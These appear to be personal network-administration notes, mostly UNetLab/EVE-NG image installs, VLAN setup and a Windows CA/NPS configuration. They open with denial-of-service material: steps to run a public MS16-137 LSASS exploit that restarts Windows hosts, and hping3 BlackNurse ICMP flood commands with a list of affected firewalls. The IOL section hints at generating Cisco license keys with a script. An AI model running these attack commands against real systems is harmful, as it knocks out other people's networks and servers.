LSASS SMB NTLM Exchange Null-Pointer Dereference (MS16-137)

This attack successfully restarted Windows XP-10 and 2008R2-2012R2
# wget
# unzip 40744
# python targetip
Target windows will be restarted


Firewall/Router Attack – BlackNurse


This BlackNurse attack will causing high CPU on target device


-Kali linux

Attack (flood better)
# hping3 -1 -C 3 -K 3 -i u20

# hping3 -1 -C 3 -K 3 –flood

-Mikrotik v6.37.1 CPU utilization before attack 4%, after attack 44%
-Fortigate 5.2 CPU utilization before attack idle 99%, after attack idle 70%

This attack only from 1 source. Could be more damage if I am using more attack sources

-Cisco ASA 5505, 5506, 5515, 5525 , 5540 (default settings)
-Cisco 6500 routers with SUP2T and Netflow v9 on the inbound interface – 100% CPU load
-Cisco ASA 5550 (Legacy) and 5515-X (latest generation)
-Cisco Router 897 – Can be mitigated – The current code from will make evil worse.
-Fortinet v5.4.1 – One CPU consumed
-Fortigate units 60c and 100D (even with drop ICMP on) – RESPONSE FROM FORTINET
-Some unverified Palo Alto – SEE ANSWER FROM PALO ALTO
-Palo Alto 5050 Firewalls with firmware 7.1.4-h2
-SonicWall – Misconfiguration can be changed and mitigated (Enable Anti-DDOS)
-Zyxel NWA3560-N (Wireless attack from LAN Side)

-Zyxel Zywall USG50

-AVM Fritz!Box 7360 (common ADSl router in Germany)
-Check Point Security Gateways – Checkpoint response!
-Cisco ISR4321 Router IOS XE – Version 15.5(3)S2, RELEASE SOFTWARE (fc2)
-GigaVUE HC-Serie (Gigamon)
-Juniper SRX
-Mikrotik CCR1036-12G-4S firmware: 3.27 (250 Mbit/sek) and no problem && RouterOS 5.4 on Mikrotik RB750
-OpenBSD 6.0 and current
-Ubiquiti Networks – EdgeRouter Lite CPU 60-70% load but still going
-Windows Firewalls

WIN20012R2 can’t get windows update

This is fresh install of SW_DVD9_Windows_Svr_Std_and_DataCtr_2012_R2_64Bit_English_-4_MLF_X19-82891.ISO.
I did Windows Update and get 208 Updates but nothing updated.
After googling and found this

Tested working. Here the steps

  1. Download and extract from
    ut it into C:\Program Files\WindowsPowerShell\Modules\
  2. Run PowerShell as Administrator
    >Import-Module PSWindowsUpdate
    When it prompt for update, press [A] Yes to All
    It will ask to Reboot after finish Updating

1 nic Multiple vlans

This can be done using Intel or Broadcom (BACS) driver, but not from Windows itself

Configuring VLANs
– Go to Windows Device Manager
– Open the properties of the port where you want to configure the VLAN
– Go to the VLAN tab
– Click the New button
– Type the VLAN ID number into the VLAN ID box. The IDs configured on the port must also be configured on the switch.
– Accept the VLAN name entered by default or type in a new name.
– Click OK.


-example we want to create vlan 5
# cp /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/sysconfig/network-scripts/ifcfg-eth0.5
# cat /etc/sysconfig/network-scripts/ifcfg-eth0.5

# /etc/init.d/network restart
# service network restart

Method2 vconfig
# vconfig add eth0 5
# ifconfig eth0.5 netmask broadcast up

To get detailed information about VLAN interface, type:
# cat /proc/net/vlan/eth0.5

If you wish to delete VLAN interface use delete command as follows:
# ifconfig eth0.5 down
# vconfig rem eth0.5

Method #3: Create the VLAN device using the ip command
# ip link add link eth0 name eth0.5 type vlan id 5
# ip link
# ip -d link show eth0.5

You need to activate and add an IP address to vlan link, type:
# ip addr add brd dev eth0.5
# ip link set dev eth0.5 up

How can I remove VLAN ID 5?
# ip link set dev eth0.5 down
# ip link delete eth0.5

# cat /etc/network/interfaces
auto eth0.5
iface eth0.5 inet static
vlan-raw-device eth0

# /etc/init.d/networking restart

Microsoft Windows 2012R2 CA and NPS Installation for Cisco vWLC



service ip
management ip

We are going to install CA+NPS in CA1 (not in AD1).
a. You need to remove the CA services if you wanted to demote the Domain Controller

b. Not a requirement for Windows Server 2008 but back in the Windows 2003 Server days, the server you migrate the CA services to need to be the same name as the original so if your original CA server was DC01, the new one would also have to be DC01

1. run PowerShell as Administrator
>Import-Module ServerManager
>Add-WindowsFeature ADCS-Cert-Authority -IncludeManagementTools
>Add-WindowsFeature Web-Mgmt-Console
>Add-WindowsFeature Adcs-Web-Enrollment
>install-windowsfeature -name npas-policy-server -IncludeManagementTools

2. configure AD CS
Credentials: DOMAIN\administrator
click Next
-Role Services
tick Certification Authority
tick Certification Authority Web Enrollment
click Next
-Setup Type
click Enterprise CA
click Next
-CA Type
click Root CA
click Next
-Private Key
click Create a new private key
click Next
leave default
RSA 2048 SHA1
click Next
-CA Name
Common name for this CA: poc-CA1-CA
Distinguished name suffix: DC=poc,DC=com
Preview of distinguished name: CN=poc-CA1-CA,DC=poc,DC=com
click Next
-Validity Period
10 years
click Next
-Certificate Database
leave default
click Next
leave default
click Configure

click Close

3. Create a WLC Certificate Template
-run Start/Programs/Administrative Tools/Certification Authority
-right click Server/Certificate Templates/Manage
-right click RAS and IAS Server/Duplicate Template
Validity period 10 years
tick Publish certificate in Active Directory
Certification Authority Windows Server 2012 R2
Certificate recipient Windows 8.1/Windows Server 2012 R2
click Authenticated Users
tick Read
tick Enroll

-right click Server/Certificate Templates/New/Certificate Template to Issue

choose WLC

4. Request a new certificate
-open CMD
-click File Add/Remove Snap-in
click Certifictes
click Add
click Computer account
click Next
click Local computer
click Finish
click OK
-right click Certificates/Personal/Certificates/All Task/Request New Certificate
Before You Begin
click Next
Select Certificate Enrollment Policy
click Active Directory Enrollment Policy
click Next
Request Certificates
tick WLC
click Enroll

5. Export root certificate

-open CMD
-click File Add/Remove Snap-in
click Certifictes
click Add
click Computer account
click Next
click Local computer
click Finish
click OK
-right click Certificates/Trusted Root Certification Authorities/Certificate/poc-CA1-CA-1/All Tasks/Export
Welcome to te Certificate Export Wizard
   click Next
Export File Format
   click DER encoded binary X.509
   click Next
File to Export
   click Next
Completing the Certificate Export Wizard
   click Finish
Send by email rootca.cer to user that has pc not join domain or IOS/Android user.

Ask them to open the cert to install into their device

6. Configure NPS
-run Start/Programs/Administrative Tools/Network Policy Server
-right click NPS (Local)/Register server in Active Directory

-create a new Network Policy


7. Configure WLC
-open a browser and go to
L: admin



8. Configure Client
-install rootca.cer from step 5
-now when you connect to NPS SSID. It will ask username and password.
type your AD username for example user1

Unetlab Installation on ESXi

-check your CPU support virtualization

-check your hardware support virtualization
# esxcfg-info |grep “HV Support”
|—-HV Support……………………………………..3
|—-World Command Line……………………………grep HV Support
0 – VT/AMD-V indicates that support is not available for this hardware.
1 – VT/AMD-V indicates that VT or AMD-V might be available but it is not supported for this hardware.
2 – VT/AMD-V indicates that VT or AMD-V is available but is currently not enabled in the BIOS.
3 – VT/AMD-V indicates that VT or AMD-V is enabled in the BIOS and can be used.

-Edit the VM settings and go to VM settings > Options > CPUID mask > Advanced > Level 1, add the following CPU mask level
ECX —- —- —- —- —- —- –H- —-
NOTE: do above only if all else failed

-Edit the VM settings and go to VM settings > Options > CPU/MMU
Virtualization . Select
“Use Intel VT-x/AMD-V for instruction set virtualization and Intel EPT/AMD RVI for MMU virtualization”

-vm hardware version must be version 9 or above
# vim-cmd vmsvc/getallvms
# vim-cmd vmsvc/upgrade unetlab-vmid vmx-09

-modify /etc/vmware/config
add in the last line then  logout and relogin from web gui
vhv.enable = “TRUE”
or better
modify /vmfs/volume/datastore1/UnetLab/UnetLab.vmx
add to the last line
vhv.enable = “TRUE”

-should show “nestedHVSupported true”
# vim-cmd vmsvc/get.capability 8

-test in ubuntu
# egrep -c ‘(vmx|svm)’ /proc/cpuinfo
the output should be 8

-to reconfigure network
# rm -f /opt/ovf/.configured
# exit
and login back

-if sometime you can’t login Web GUI, try this
# /etc/init.d/apache2 restart

Download Unetlab from:

-check current version
# dpkg -l eve-ng
ii  eve-ng         2.0.3-53     amd64        A new generation software for net
# apt autoremove (answer Y)
# apt-get update
# apt-get install eve-ng
# apt-get dist-upgrade (answer Y)
# reboot ( if previous version < V84 )
-check new version
# dpkg -l eve-ng
ii  eve-ng         2.0.3-60     amd64        A new generation software for net

-to check what version are you running and what version is the freshest one
# cat /etc/apt/sources.list.d/unetlab.list
deb trusty rrlabs
# apt-cache policy unetlab
Installed: 0.9.0-96
Candidate: 0.9.0-96
Version table:
*** 0.9.0-96 0
500 trusty/rrlabs amd64 Packages
100 /var/lib/dpkg/status
0.9.0-94 0
500 trusty/rrlabs amd64 Packages
0.9.0-92 0
500 trusty/rrlabs amd64 Packages
0.9.0-88 0
500 trusty/rrlabs amd64 Packages
0.9.0-76 0
500 trusty/rrlabs amd64 Packages
0.9.0-70 0
500 trusty/rrlabs amd64 Packages
0.9.0-68 0
500 trusty/rrlabs amd64 Packages
0.9.0-54 0
500 trusty/rrlabs amd64 Packages

-Below is the reference node in UNL: “/opt/unetlab/html/includes/init.php”
‘a10’ => ‘A10 vThunder’,
‘osx’ => ‘Apple OSX’,
‘clearpass’ => ‘Aruba ClearPass’,
‘aruba’ => ‘Aruba WiFi Controller’,
‘veos’ => ‘Arista vEOS’,
‘barracuda’ => ‘Barraccuda NGIPS’,
‘brocadevadx’ => ‘Brocade vADX’,
‘cpsg’ => ‘CheckPoint Security Gateway VE’,
//’docker’ => ‘’,
‘acs’ => ‘Cisco ACS’,
‘ampcloud’ => ‘Cisco AMP Cloud’,
‘asa’ => ‘Cisco ASA’,
‘asav’ => ‘Cisco ASAv’,
‘cda’ => ‘Cisco Context Directory Agent’,
‘csr1000v’ => ‘Cisco CSR 1000V’,
‘csr1000vng’ => ‘Cisco CSR 1000V (Denali and Everest)’,
‘cips’ => ‘Cisco IPS’,
‘cucm’ => ‘Cisco CUCM’,
‘ise’ => ‘Cisco ISE’,
‘c1710’ => ‘Cisco IOS 1710 (Dynamips)’,
‘c3725’ => ‘Cisco IOS 3725 (Dynamips)’,
‘c7200’ => ‘Cisco IOS 7206VXR (Dynamips)’,
‘iol’ => ‘Cisco IOL’,
‘titanium’ => ‘Cisco NX-OSv (Titanium)’,
‘nxosv9k’ => ‘Cisco NX-OSv 9K’,
‘firepower’ => ‘Cisco FirePower’,
‘firepower6’ => ‘Cisco FirePower 6′,
//’ucspe’ => ‘Cisco UCS-PE’,
‘vios’ => ‘Cisco vIOS’,
‘viosl2’ => ‘Cisco vIOS L2’,
‘vnam’ => ‘Cisco vNAM’,
‘vwlc’ => ‘Cisco vWLC’,
‘vwaas’ => ‘Cisco vWAAS’,
‘prime’ => ‘Cisco Prime Infra’,
‘phoebe’ => ‘Cisco Email Security Appliance (ESA)’,
‘coeus’ => ‘Cisco Web Security Appliance (WSA)’,
‘xrv’ => ‘Cisco XRv’,
‘xrv9k’ => ‘Cisco XRv 9000’,
‘nsvpx’ => ‘Citrix Netscaler’,
‘sonicwall’ => ‘Dell SonicWall’,
‘cumulus’ => ‘Cumulus VX’,
‘extremexos’ => ‘ExtremeXOS’,
‘bigip’ => ‘F5 BIG-IP LTM VE’,
‘fortinet’ => ‘Fortinet FortiGate’,
‘huaweiusg6kv’ => ‘Huawei USG6000v’,
‘hpvsr’ => ‘HP VSR1000’,
‘jspace’ => ‘Junos Space’,
‘olive’ => ‘Juniper Olive’,
‘vmx’ => ‘Juniper vMX’,
‘vmxvcp’ => ‘Juniper vMX VCP’,
‘vmxvfp’ => ‘Juniper vMX VFP’,
‘vsrx’ => ‘Juniper vSRX’,
‘vsrxng’ => ‘Juniper vSRX NextGen’,
‘vqfxre’ => ‘Juniper vQFX RE’,
‘vqfxpfe’ => ‘Juniper vQFX PFE’,
‘junipervrr’ => ‘Juniper RR’,
‘linux’ => ‘Linux’,
‘mikrotik’ => ‘MikroTik RouterOS’,
‘timos’ => ‘Nokia 7750 VSR-I’,
‘timoscpm’ => ‘Nokia 7750 CPM’,
‘timosiom’ => ‘Nokia 7750 IOM’,
‘ostinato’ => ‘Ostinato’,
‘paloalto’ => ‘Palo Alto VM-100 Firewall’,
‘pfsense’ => ‘pfSense Firewall’,
‘alteon’ => ‘Radware AlteonVA’,
‘riverbed’ => ‘Riverbed’,
‘sterra’ => ‘S-Terra’,
‘vyos’ => ‘VyOS’,
‘esxi’ => ‘VMWare ESXi’,
‘vcenter’ => ‘VMWare vCenter’,
‘win’ => ‘Windows’,
‘winserver’ => ‘Windows Server’,
‘vpcs’ => ‘Virtual PC (VPCS)’

Qemu folder name EVE Vendor Qemu image .qcow2 name
a10- A10-vthunder hda
osx- Apple OSX
clearpass- Aruba ClearPass hda
aruba- Aruba WiFi Controller hda, hdb
veos Arista vEOS hda, cdrom.iso
barracuda- Barraccuda NGIPS hda
brocadevadx- Brocade vADX virtioa
cpsg- CheckPoint Security Gateway VE hda
acs- Cisco ACS hda
ampcloud Cisco AMP Cloud
asa- Cisco ASA hda
asav- Cisco ASAv virtioa
cda- Cisco Context Directory Agent hda
csr1000v- Cisco CSR 1000v virtioa
csr1000vng- Cisco CSR 1000v (Denali and Everest) virtioa
cips- Cisco IPS hda, hdb
cucm- Cisco CUCM virtioa
ise- Cisco ISE hda
titanium- Cisco NX-OSv (Titanium) virtioa
nxosv9k- Cisco NX-OSv 9k hda
firepower- Cisco FirePower scsia
firepower6- Cisco FirePower 6 hda
ucspe Cisco UCS-PE
vios- Cisco vIOS virtioa
viosl2- Cisco vIOS L2 virtioa
vnam- Cisco vNAM hda
vwlc- Cisco vWLC megasasa
vwaas- Cisco vWAAS virtioa
prime- Cisco Prime Infra
phoebe- Cisco Email Security Appliance (ESA) hda
coeus- Cisco Web Security Appliance (WSA) virtioa
xrv- Cisco XRv hda
xrv9k- Cisco XRv 9000 virtioa
nsvpx- Citrix Netscaler virtioa
sonicwall- DELL Sonicwall hda
cumulus- Cumulus VX hda
extremexos- ExtremeOS hda
bigip- F5 BIG-IP LTM VE hda, hdb
fortinet- Fortinet FW virtioa
fortinet- Fortinet SGT virtioa
fortinet- Fortinet mail virtioa, virtiob
fortinet- Fortinet manager virtioa
huaweiusg6kv Huawei USG6000v
hpvsr- HP VSR1000 hda
jspace- Junos Space hda
olive- Juniper Olive hda
vmx- Juniper vMX hda
vmxvcp- Juniper vMXVCP hda, hdb, hdc
vmxvfp- Juniper vMXVFP hda
vsrx- Juniper vSRX virtioa
vsrxng- Juniper vSRX NextGen hda
vqfxre- Juniper vQFXRE hda
vqfxpfe- Juniper vQFXPFE hda
junipervrr Juniper RR
linux- Linux hda
mikrotik- MikroTik RouterOS hda
timos- Nokia 7750 VSR-I hda
timoscpm- Nokia 7750 CPM
timosiom- Nokia 7750 IOM
ostinato- Ostinato traffic generator hda
paloalto- Palo Alto VM-100 Firewall virtioa
pfsense- pfSense Firewall hda
alteon- Radware AlteonVA virtioa
riverbed- Riverbed virtioa, virtiob
sterra- S-terra VPN hda
vyos- VyOS virtioa
esxi- VMWare ESXi
vcenter- VMWare Vcenter
win- Windows hda
winserver- Windows Server hda
vpcs Virtual PC (VPCS)

-to install ios image
scp c1710-bk9no3r2sy-mz.124-23.bin, c3725-adventerprisek9-mz.124-15.T14.bin and c7200-adventerprisek9-mz.152-4.S6.bin to /opt/unetlab/addons/dynamips
# cd /opt/unetlab/addons/dynamips
# unzip c1710-bk9no3r2sy-mz.124-23.bin
# unzip c3725-adventerprisek9-mz.124-15.T14.bin
# unzip c7200-adventerprisek9-mz.152-4.S6.bin
# mv C1710-BK.BIN c1710-bk9no3r2sy-mz.124-23.image
# mv C3725-AD.BIN c3725-adventerprisek9-mz.124-15.T14.image
# mv C7200-AD.BIN c7200-adventerprisek9-mz.152-4.S6.image
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install asa
# mkdir -p /opt/unetlab/addons/qemu/asa-8.42
scp ASA-8.42.vmdk and ASA-8.42-0.vmdk into /opt/unetlab/addons/qemu/asa-8.42
# cd /opt/unetlab/addons/qemu/asa-8.42
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 ASA-8.42.vmdk hda.qcow2
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 ASA-8.42-0.vmdk hdb.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
create two asa node with ram 1024mb
# conf t
(config)# hostname asa1
(config)# int e0
(config-if)# ip add
(config-if)# nameif outside
(config-if)# no sh
# conf t
(config)# hostname asa2
(config)# int e0
(config-if)# ip add
(config-if)# nameif outside
(config-if)# no sh
(config-if)# end
# ping mkdir -p /opt/unetlab/addons/qemu/asa-9.15
scp hda.qcow2 and hdb.qcow2 into /opt/unetlab/addons/qemu/asa-9.15
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
Forum said only asa-9.15 can do Active/Active

-to install a10
# mkdir -p /opt/unetlab/addons/qemu/a10-4.0.1
# scp vThunder-4.0.1.ova into /opt/unetlab/addons/qemu/a10-4.0.1
# cd  /opt/unetlab/addons/qemu/a10-4.0.1
# tar xf vThunder-4.0.1.ova
# # /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 vThunder-4.0.1-disk1.vmdk hda.qcow2

# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

 -to install acs
download acs-
create acs vm in ESXi with 4GB RAM, 2x CPU core, 40GB thin disk, OS Other Linux 64bit
boot acs vm and attach acs-
after install, reboot and remove detach acs.iso
login: setup
Enter hostname[]: acs
Enter IP address:
Enter IP netmask[]:
Enter IP default gateway[]:
Enter default DNS domain[]:
Enter primary nameserver[]:
Add seconday nameserver? Y/N [N}:
Enter NTP server[]:
Add another NTP server? Y/N [N]:
Enter system timezone[UTC]: GMT
Enable SSH service? Y/N [N]: y
Enter username[admin]:
Enter password:
Enter password again:shutdown acs vm
ssh as root to unetlab
# mkdir -p /opt/unetlab/addons/qemu/acs-
ssh as root into ESXi
# cd /vmfs/volume/datastore1/acs
# scp *vmdk root@
switch to unetlab
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 acs.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
-to install asav
# mkdir -p /opt/unetlab/addons/qemu/asav-932-200
scp asav932-200.qcow2 into /opt/unetlab/addons/qemu/asav-932-200
# cd /opt/unetlab/addons/qemu/asav-932-200
# cp -p asav932-200.qcow2 hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
create asav lab
Make sure console is vnc in unl file.
# cat /opt/unetlab/labs/LAB.unl

logout and relogin from web gui

-to install Aruba MM
# mkdir /opt/unetlab/addons/qemu/aruba-mm-
scp ArubaOS_MM_8.2.0.2_62929.ova into /tmp
# cd /tmp
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 ArubaOS_MM_8.2.0.2_62929-disk1.vmdk /opt/unetlab/addons/qemu/aruba-mm- /hda.qcow2
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 ArubaOS_MM_8.2.0.2_62929-disk2.vmdk /opt/unetlab/addons/qemu/aruba-mm- /hdb.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
-set 6GB RAM and 3 CPU minimum. NICs must be 3 before turn on

-to install aruba vmc
# mkdir -p /opt/unetlab/addons/qemu/aruba-vmc-
scp ArubaOS_VMC_8.2.0.2_62929.tar into /tmp
# tar xf ArubaOS_VMC_8.2.0.2_62929.tar
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 ArubaOS_VMC_8.2.0.2_62929-disk1.vmdk /opt/unetlab/addons/qemu/aruba-vmc-
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 ArubaOS_VMC_8.2.0.2_62929-disk2.vmdk /opt/unetlab/addons/qemu/aruba-vmc-
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions


-to install bigip-12.0
download from
# mkdir -p /opt/unetlab/addons/qemu/bigip-12.0/
scp into /opt/unetlab/addons/qemu/bigip-12.0/
# cd /opt/unetlab/addons/qemu/bigip-12.0/
# unzip
# rm
# mv BIGIP- hda.qcow2

# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions


-to install brocadevadx
# mkdir -p /opt/unetlab/addons/qemu/brocadevadx-3100
# scp into /opt/unetlab/addons/qemu/brocadevadx-3100
# cd /opt/unetlab/addons/qemu/brocadevadx-3100
# unzip
# tar xf SSR03100ESX.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 SSR1000ESX-disk1.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

Make sure console is vnc in unl file.
# cat /opt/unetlab/labs/LAB.unl

logout and relogin from web gui

-to install cda
open ESXi and prepare cda vm with minimum spec
OS: Windows 2003, 2008, 2008R2, 2012, 2012R2
Disk Size: 120GB
CPU: 2 virtual core
NIC: 1pc
See p2-2
Download and install cda_1.0.0.011.i386.iso
see p2-12 pdf above
shutdown vm
ssh as root into unetlab
# mkdir -p /opt/unetlab/addons/qemu/cda-1.0
ssh as root into ESXi
# cd /vmfs/volume/datastore1/cda
# scp *vmdk root@
ssh as root to unetlab server
# cd /opt/unetlab/addons/qemu/cda-1.0
# /opt/qemu/bin/qemu-img create -f qcow cda-flat.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install cips
# mkdir -p /opt/unetlab/addons/qemu/cips-4240
scp IPS-4240.ova into /opt/unetlab/addons/qemu/cips-4240
# cd /opt/unetlab/addons/qemu/cips-4240
# tar xf IPS-4240.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 IPS-4240-disk1.vmdk hda.qcow2
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 IPS-4240-disk2.vmdk hdb.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
when you start cips for first time
L: cisco
P: cisco


-to install clearpass
# mkdir -p /opt/unetlab/addons/qemu/aruba-vmc-
scp ArubaOS_VMC_8.2.0.2_62929.tar into /tmp
# tar xf ArubaOS_VMC_8.2.0.2_62929.tar
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 ArubaOS_VMC_8.2.0.2_62929-disk1.vmdk /opt/unetlab/addons/qemu/aruba-vmc-
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 ArubaOS_VMC_8.2.0.2_62929-disk2.vmdk /opt/unetlab/addons/qemu/aruba-vmc-

# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install coeus
# mkdir -p /opt/unetlab/addons/qemu/coeus-
scp into /opt/unetlab/addons/qemu/coeus-
# cd /opt/unetlab/addons/qemu/coeus-
# unzip
# mv coeus-9-0-0-324-S100V/coeus-9-0-0-324-S100V-disk1.vmdk ..
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 coeus-9-0-0-324-S100V-disk1.vmdk virtioa.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
# vi /opt/unetlab/html/templates/coeus.php
$p[‘console’] = ‘telnet’;
$p[‘console’] = ‘vnc’;

-to install cpsg
download CheckPoint GAIA R77-30 iso
create cpsg-r7730 vm in ESXI with 30GB HD, 2GB RAM, 4 nics and Other Linux 64bit
1. Install Gaia on this system
press Enter
2. Keyboard Selection
click US and OK
3. Partitions Configuration
click OK
4. Account Configuration
click OK
5. Management Port
choose your manament nic
click OK
6. Management Interface (eth0)
IP address:
Default gateway:
click OK
7. Confirmation
click OK
Shutdown vm and export as ova
# mkdir -p /opt/unetlab/addons/qemu/cpsg-r7730
scp cpsg-r7730.ova into /opt/unetlab/addons/qemu/cpsg-r7730
# tar xf cpsg-r7730.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 cpsg-r7730-disk1.vmdk hda.qcow2

# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install csr
# mkdir -p /opt/unetlab/addons/qemu/csr1000v-universalk9.03.14.00.S.155-1.S
scp csr1000v-universalk9.03.14.01.S.155-1.S1-std.ova into /opt/unetlab/addons/qemu/csr1000v-universalk9.03.14.00.S.155-1.S
# cd /opt/unetlab/addons/qemu/csr1000v-universalk9.03.14.00.S.155-1.S
# tar xf csr1000v-universalk9.03.14.01.S.155-1.S1-std.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 csr1000v_harddisk.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install cumulus
Download Cumulus VX for VMware from
# mkdir -p /opt/unetlab/addons/qemu/cumulus-2.5.3
scp CumulusVX-2.5.3-4eb681f3df86c478.vmware.ova /opt/unetlab/addons/qemu/cumulus-2.5.3
# cd /opt/unetlab/addons/qemu/cumulus-2.5.3
# tar xf CumulusVX-2.5.3-4eb681f3df86c478.vmware.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 CumulusVX-2.5.3-4eb681f3df86c478-disk1.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install extremexos
# mkdir -p /opt/unetlab/addons/qemu/extremexos-
scp /opt/unetlab/addons/qemu/extremexos-
# cd /opt/unetlab/addons/qemu/extremexos-
# unzip
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 “EXOS_VM_15.3.2.11 sw1.vmdk” hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install fortinet
We must download fortios KVM version not VMware version. The hd name must be virtioa not hda otherwise you will get country error
# mkdir -p /opt/unetlab/addons/qemu/fortinet-5.2.3b670
scp fortios_5-2-3.qcow2 into /opt/unetlab/addons/qemu/fortinet-5.2.3b670
# cd /opt/unetlab/addons/qemu/fortinet-5.2.3b670
# mv fortios_5-2-3.qcow2 virtioa.qcow2

# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to add log disk
# cd /opt/unetlab/addons/qemu/fortinet-5.6
create 500MB log disk size
# /opt/qemu/bin/qemu-img create -f raw virtiob.qcow2 500M
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
on FortiGate
# get system status
Version: FortiGate-VM64-KVM v5.6.0,build1449,170330 (GA)
Virus-DB: 1.00123(2015-12-11 13:18)
Extended DB: 1.00000(2012-10-17 15:46)
IPS-DB: 6.00741(2015-12-01 02:30)
IPS-ETDB: 0.00000(2001-01-01 00:00)
APP-DB: 6.00741(2015-12-01 02:30)
INDUSTRIAL-DB: 6.00741(2015-12-01 02:30)
Serial-Number: FGVMEV0000000000
IPS Malicious URL Database: 1.00001(2015-01-01 01:01)
Botnet DB: 1.00000(2012-05-28 22:51)
License Status: Valid
Evaluation License Expires: Sun May  7 05:35:13 2017
VM Resources: 1 CPU/1 allowed, 995 MB RAM/1024 MB allowed
BIOS version: 04000002
Log hard disk: Need format
Hostname: FortiGate-VM64-KVM
Operation Mode: NAT
Current virtual domain: root
Max number of virtual domains: 1
Virtual domains status: 1 in NAT mode, 0 in TP mode
Virtual domain configuration: disable
FIPS-CC mode: disable
Current HA mode: standalone
Branch point: 1449
Release Version Information: GA
FortiOS x86-64: Yes
System time: Sat Apr 22 05:46:50 2017
FortiGate-VM64-KVM # execute formatlogdisk
Log disk is /dev/vdb.
Formatting this storage will erase all data on it, including
  logs, quarantine files;
and require the unit to reboot.
Do you want to continue? (y/n)y
FortiGate-VM64-KVM # get hardware status
Model name: FortiGate-VM64-KVM
ASIC version: not available
CPU: QEMU Virtual CPU version 1.0
Number of CPUs: 1
RAM: 995 MB
Compact Flash: 2056 MB /dev/vda
Hard disk: 500 MB /dev/vdb

USB Flash: not available

Fortigate: You cannot create VDOMs, have a throughput limit, have some SSL limitation and has no Subscription signatures for IPS / App Control, AV, Web Filtering and Antispam.
   You cannot try FortiGate HA with trial version because the trial VM has the same S/N of the other and the Cluster could not form
FortiManager / FortiAnalyzer: Limit of log per day or management devices
FortiADC (VM and D series): I believe that latest version only release the GUI after upload the license. The older versions has no limitation.
FortiWeb: There’s no signature update
FortiSandbox: Did not download the Windows VM’s
FortiAuthenticator: Limit the number of users in database

FortiMail: There’s no signature (antivirus) and no antispam (cloud)

-to install hpvsr
Download hpvsr from

# mkdir /opt/unetlab/addons/qemu/hpvsr-1001-CMW710
scp into /tmp
# cd /tmp
# unzip
# tar xf VSR1000_HPE-CMW710-E0325-X64.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 VSR1000_HPE-CMW710-E0325-X64-disk1.vmdk /opt/unetlab/addons/qemu/hpvsr-1001-CMW710/hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install iol
find in google these 3 files

copy above files into /opt/unetlab/addons/iol/bin
# cd /opt/unetlab/addons/iol/bin
# mv i86bi_linux-adventerprisek9-ms.154-2.T4 i86bi_linux-adventerprisek9-ms.154-2.T4.bin
# mv i86bi_linux_l2-adventerprisek9-ms.156-0.9.S i86bi_linux_l2-adventerprisek9-ms.156-0.9.S.bin
# unzip
# python
# mv iourc.txt iourc
NOTE: don’t use .iourc, otherwise it won’t run

-to import iou lab
download IOU-WEB from
Download, extract and import v22VMIOU2014 into VMware
Power on the vm and modify its ip address
# cat /etc/sysconfig/network-scripts/ifcfg-eth0

# service network restart
open web browser and go to
click Downloads/database.sdb
scp database.sdb into unetlab server tmp

login as root into unetlab vm
# apt-get install php5-sqlite sqlite
# cd /opt/unetlab/scripts/
# wget .
# chmod 755 /opt/unetlab/scripts/import_iou-web.php
# /opt/unetlab/scripts/import_iou-web.php /tmp/database.sdb
All labs will be imported under /opt/unetlab/labs/Imported

IOU assigns DCE/DTE on a per slot basis. Even slots are DTE, Odd slots are DCE

e.g. Slots 0, 2, 4.. = DTE; Slots 1, 3, 5.. = DCE

-to install ise
In ESXi import ISE-
ssh as root to ESXi
# /vmfs/volumes/datastore1/ISE
# scp *vmdk root@
ssh as root to unetlab server
# mkdir -p /opt/unetlab/addons/qemu/ise-
# cd /opt/unetlab/addons/qemu/ise-
# /opt/qemu/bin/qemu-img convert -f qcow ISE-flat.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install mikrotik
Download latest chr vmdk from
# mkdir /opt/unetlab/addons/qemu/mikrotik-6.34.3
scp chr-6.34.3.vmdk into /opt/unetlab/addons/qemu/mikrotik-6.34.3
